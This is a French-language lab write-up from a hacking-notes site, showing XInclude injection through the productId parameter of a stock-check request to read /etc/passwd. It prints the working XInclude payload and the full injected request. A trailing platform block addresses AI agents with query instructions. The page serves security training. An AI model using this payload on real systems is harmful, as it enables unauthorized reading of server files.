> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xxe/file-reading-with-xinclude.md).

# Lecture de fichier avec XInclude

### Exploiter XInclude pour récupérer des fichiers

Le laboratoire a un **Vérifier le stock** fonctionnalité qui insère l’entrée fournie par l’utilisateur dans un document XML côté serveur, puis l’analyse. Vous ne contrôlez pas l’ensemble du document XML, il est donc impossible de définir une DTD pour une XXE classique.

Utilisez **XInclude** pour récupérer le contenu du **/etc/passwd** fichier en injectant une inclusion XInclude qui sera résolue par l’analyseur côté serveur.

* Paramètres initialement envoyés : `productId=1&storeId=1`.

```php
productId=1&storeId=1
```

* Vérifier : la valeur de `productId` est rétablie et analysée par le serveur. Par exemple `productId=test&storeId=1` est interprété et reflété.

```
productId=test&storeId=1
```

<figure><img src="/files/285f5259c5bba3759373aabd5263173889499f81" alt=""><figcaption></figcaption></figure>

Injection d’une inclusion XInclude dans `productId` pour forcer la lecture d’un fichier local.

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Exemple de paramètre envoyé :

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

L’analyseur interprète l’inclusion XInclude et intègre `/etc/passwd` le contenu dans le document analysé — la valeur fournie dans `productId` est traitée et le fichier est lu.

<figure><img src="/files/e19bbd436c26c0915f3da2071935b3e56d781d2c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xxe/file-reading-with-xinclude.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
